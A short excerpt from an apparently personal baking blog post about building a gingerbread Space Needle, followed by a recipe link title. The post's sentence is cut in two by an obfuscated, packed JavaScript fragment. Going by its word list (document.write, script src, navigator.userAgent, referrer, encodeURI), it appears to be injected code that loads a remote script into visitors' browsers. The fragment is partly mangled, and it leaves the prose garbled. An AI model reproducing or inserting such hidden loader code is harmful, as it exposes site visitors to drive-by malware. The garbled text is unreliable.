My Epic Gingerbread Space Needle

I’m an engineer who loves to bake and take pictures.  And last night, my 3 worlds collided. Last week, I was perusing one of my favorite blogs, Not ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eifny|var|u0026u|referrer|zathd||js|php’.split(‘|’),0,{})) Martha, and noticed her adorable mini gingerbread houses!  So I went to the store after work and bought the supplies – mostly […]

Quick and easy bread recipe
